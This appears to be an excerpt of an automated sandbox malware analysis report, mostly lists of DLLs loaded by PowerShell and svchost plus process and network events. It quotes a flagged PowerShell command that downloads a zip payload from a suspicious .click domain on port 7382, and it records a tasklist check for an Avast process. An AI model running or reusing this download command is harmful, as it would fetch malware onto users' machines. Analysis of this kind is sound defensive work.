Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: pdb.Pdb(nosigint=True).runcall(f) source: test_zipimport_support.py.22.dr
Source:	Binary string: .pdbrc source: genindex-Symbols.html.22.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 7382
Source: unknown	Network traffic detected: HTTP traffic on port 7382 -> 49702

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
